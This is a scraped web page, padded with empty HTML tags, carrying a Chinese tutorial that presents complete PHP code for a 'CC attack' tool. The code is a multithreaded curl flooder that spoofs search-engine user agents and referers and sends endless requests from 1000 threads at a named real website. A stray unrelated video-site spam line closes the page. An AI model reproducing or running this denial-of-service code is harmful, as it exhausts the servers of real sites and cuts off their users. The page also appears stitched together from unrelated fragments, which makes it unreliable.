<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ### 實戰:CC攻擊器 CC攻擊就是一種制造大量訪問導致對方服務器資源耗盡無法提供服務的一種手段,這里用簡單的方式實現,采用多線程+線程池+curl實現一個簡單的cc攻擊。 擴展下載地址:https://github.com/krakjoe/pthreads.git #### cc.php ```php <?php class CC extends Thread{ // 要攻擊的url private $url; // 要攻擊的域名 private $host; // user-agent private $userAgent = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 MicroMessenger/5.2.380', 'Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)', 'Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,likeGecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)', 'Mozilla/5.0 (compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)', 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 likeMac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)', 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)', 'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider' ]; // 模擬請求來源 private $referers = array( 'https://www.baidu.com?k=', 'https://www.sogou.com?keyword=', 'https://www.so.com?keyword=', 'https://www.google.com?k=', 'https://m.baidu.com?keyword=', 'https://m.sogou.com?keyword=', 'https://m.so.com?key=' ); public function __construct($url) { $this->url = $url; $this->parserUrl(); } /** * 解析host */ private function parserUrl() { $parser = parse_url($this->url); $this->host = $parser['host']; } /** * 獲取頭信息 * @return void */ private function getHeader(){ $referer = $this->referers[mt_rand(0,count($this->referers))]; $userAgent = $this->userAgent[mt_rand(0,count($this->userAgent))]; return [ 'Host'=>$this->host, 'Referer'=>$referer, 'User-Agent'=>$userAgent, 'Accept'=>'text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8', 'Accept-Language'=>' en-US,en;q=0.5', 'Accept-Charset'=>'iso-8859-1', 'Accept-Encoding'=>'gzip', 'Connection'=>'Keep-Alive' ]; } /** * 實現訪問 */ public function request() { $header = $this->getHeader(); $curl = curl_init(); // CURL頭信息設置 curl_setopt($curl, CURLOPT_HTTPHEADER, $header); curl_setopt($curl, CURLOPT_URL, $this->url); curl_setopt($curl, CURLOPT_TIMEOUT, 30); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $res = curl_exec($curl); var_dump($res); curl_close($curl); } public function run() { while(true){ $this->request(); sleep(0.3); } } } ``` #### threadPool.php ```php <?php class ThreadPool{ public $pool = array(); private $url; public function __construct($url,$count) { $this->url = $url; $this->count = $count; } public function push(){ if(count($this->pool) < $this->count){ $this->pool[] = new CC($this->url); return true; }else{ return false; } } public function start(){ foreach ( $this->pool as $id => $worker){ $this->pool[$id]->start(); } } public function join(){ foreach ( $this->pool as $id => $worker){ $this->pool[$id]->join(); } } } ``` #### run.php ```php <?php require 'cc.php'; require 'threadPool.php'; $count = 1000; $pool = new ThreadPool('http://www.vxwei.com/index.php',$count); for($i=0;$i<$count;$i++){ $pool->push(); } $pool->start(); $pool->join(); ```
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看